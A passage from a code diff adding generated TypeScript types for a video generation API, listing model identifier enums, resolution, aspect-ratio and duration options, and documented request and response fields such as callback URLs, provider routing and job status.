'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosRequestModelEnumKey = + (typeof openrouterPostVideosRequestModelEnum)[keyof typeof openrouterPostVideosRequestModelEnum] + +export const openrouterPostVideosRequestResolutionEnum = { + '360p': '360p', + '480p': '480p', + '720p': '720p', + '768p': '768p', + '1080p': '1080p', + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type OpenrouterPostVideosRequestResolutionEnumKey = + (typeof openrouterPostVideosRequestResolutionEnum)[keyof typeof openrouterPostVideosRequestResolutionEnum] + +/** + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @minimum 1 + * @example 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + model: OpenrouterPostVideosRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosOptions = { + body: OpenrouterPostVideosBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosResponses = { + '200': OpenrouterPostVideosStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosResponse = OpenrouterPostVideosStatus200 + +export const openrouterPostVideosAlibabaHappyhorse10Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse10Status200StatusEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse10Status200StatusEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse10Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosAlibabaHappyhorse10Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosAlibabaHappyhorse10Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosAlibabaHappyhorse10RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse10RequestAspectRatioEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse10RequestAspectRatioEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse10RequestAspectRatioEnum] + +export const openrouterPostVideosAlibabaHappyhorse10RequestDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosAlibabaHappyhorse10RequestDurationEnumKey = + (typeof openrouterPostVideosAlibabaHappyhorse10RequestDurationEnum)[keyof typeof openrouterPostVideosAlibabaHappyhorse10RequestDurationEnum] + +export const openrouterPostVideosAlibabaHappyhorse10RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 